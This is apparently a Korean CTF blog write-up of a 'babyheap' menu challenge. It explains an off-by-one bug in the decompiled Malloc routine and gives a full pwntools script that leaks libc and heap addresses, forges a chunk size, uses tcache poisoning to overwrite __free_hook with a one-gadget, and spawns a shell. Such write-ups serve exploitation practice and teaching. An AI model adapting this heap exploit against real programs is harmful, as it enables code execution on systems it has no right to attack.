전형적인 menu heap exploit 문제이다.
제공하는 기능은 다음과 같다.
- Malloc
- Free
- Show
- Exit
각각의 함수들은 전형적인 모습이고, Malloc함수 외에는 취약점이 터지는 부분이 없기 때문에 설명을 생략한다. 취약점은 Malloc에서 발생한다. 청크를 할당한 후 입력받을 때 한 글자씩 입력받는다. 이때 입력을 받은 후 size 체크를 하기 때문에 한 바이트를 더 입력할 수 있다. 따라서 off-by-one 취약점이 발생한다.
signed __int64 add()
{
_QWORD *v0; // rax
unsigned int i; // ebp
__int64 size; // r12
__int64 j; // rbx
__int64 *v4; // rbp
char buf; // [rsp+7h] [rbp-21h]
unsigned __int64 v7; // [rsp+8h] [rbp-20h]
v7 = __readfsqword(0x28u);
if ( heaps[0] )
{
v0 = &unk_4070;
for ( i = 1; ; ++i )
{
v0 += 2;
if ( !*(v0 - 2) )
break;
}
if ( i > 9 )
return 0xFFFFFFFDLL;
}
else
{
i = 0;
}
__printf_chk(1LL, "Size:\n> ");
LODWORD(size) = get_int();
if ( (unsigned int)(size - 1) > 0x177 )
return 0xFFFFFFFDLL;
if ( (unsigned int)size <= 248 )
heaps[2 * i] = (__int64)malloc(0xF8uLL);
else
heaps[2 * i] = (__int64)malloc(0x178uLL);
if ( !heaps[2 * i] )
return 0xFFFFFFFDLL;
LODWORD(heaps[2 * i + 1]) = size;
__printf_chk(1LL, "Content:\n> ");
read(0, &buf, 1uLL);
size = (unsigned int)size;
j = 0LL;
v4 = &heaps[2 * i];
while ( buf != '\n' && buf ) // null이랑 엔터 못 넣음
{
*(_BYTE *)(*v4 + j) = buf;
read(0, &buf, 1uLL);
if ( size == j ) // off-by-one
return 0LL;
++j;
}
return 0LL;
}
unsorted bin을 생성한 후 read에 아무것도 입력하지 않으면 libc와 heap 주소를 leak할 수 있다.
exploit을 위하여 tcache poisning기법을 사용했다. 익스플로잇 과정을 간단하게 요약하면 다음과 같다.
- libc leak
- malloc 0x100 --> chunk x
- overwrite x's size 0x100 -> 0x180
- free chunck x
- malloc 0x180 -> overwrite next chunk's meta data
from pwn import *
def add(size,content):
p.sendline('M')
p.recvuntil('>')
p.sendline(str(size))
p.recvuntil('>')
p.sendline(content)
p.recvuntil('>')
def free(idx):
p.sendline('F')
p.recvuntil('>')
p.sendline(str(idx))
p.recvuntil('>')
def show(idx):
p.sendline('S')
p.recvuntil('> ')
p.sendline(str(idx))
leak=p.recvuntil('\n').replace('\n','')
p.recvuntil('>')
return leak
def win():
p.sendline('F')
p.sendline('1')
p=process('babyheap')
p.recvuntil('>')
for _ in xrange(10):
add(1,'a')
for x in xrange(10):
free(x)
for x in xrange(10):
add(1,'')
leak=show(7)
leak=leak.ljust(8,'\x00')
leak=u64(leak)
log.info('libc = '+hex(leak))
#gdb.attach(p,'b free\ncode\nb *0x013C4+$code')
libc=leak-0x1e4ca0
hook=libc+0x1e75a8#free_hook
system=libc+0x52fd0
log.info('libc = '+hex(libc))
log.info('hook = '+hex(hook))
log.info('system = '+hex(system))
for x in xrange(10):
free(x)
add(248,'q')#0
add(248,'w')#1
add(248,'e')#2
add(248,'w')#3
free(0)#-0
free(1)#-1
add(248,'')#0
add(248,'')#1
leak=show(0).ljust(8,'\x00')
heap=u64(leak)-0x260
log.info('leak = '+hex(heap))
free(0)#-0
payload='/bin/sh&&'
payload+='a'*(248-len(payload))
payload+='\x80'
add(248,payload)#0 1'overwrite size
free(1)#-1 real : 0x100 fake: 0x180
'''
0---------------------------------
1--------------------------------
p64(0) p64(0x180)
size = 0xf0
2---------------------------------
p64(0) p64(0x100)
3--------------------------------
tcache 0x180 -> chunk1
'''
free(3)
free(2)
payload = "a"*0xf8+'b'*0x8+p64(hook).replace('\x00','')
print(len(payload))
add(len(payload)+0x10,payload)#overwrite 2's meta data
one=libc+0xe2383
payload = p64(one).replace('\x00','')
#gdb.attach(p)
add(8,'/bin/sh')#2
add(len(payload)+1,payload)#3
win()
p.interactive()
'PWN' 카테고리의 다른 글
HackTM CTF 2020 / Trip_to_trick (0) | 2020.02.10 |
---|---|
[CISCN 2017] BabyDriver (0) | 2020.02.04 |
calloc without memset 0 (0) | 2019.12.30 |
glibc 2.29 tcache (0) | 2019.12.28 |
glibc 2.29 malloc 분석1. [청크, malloc] (0) | 2019.12.27 |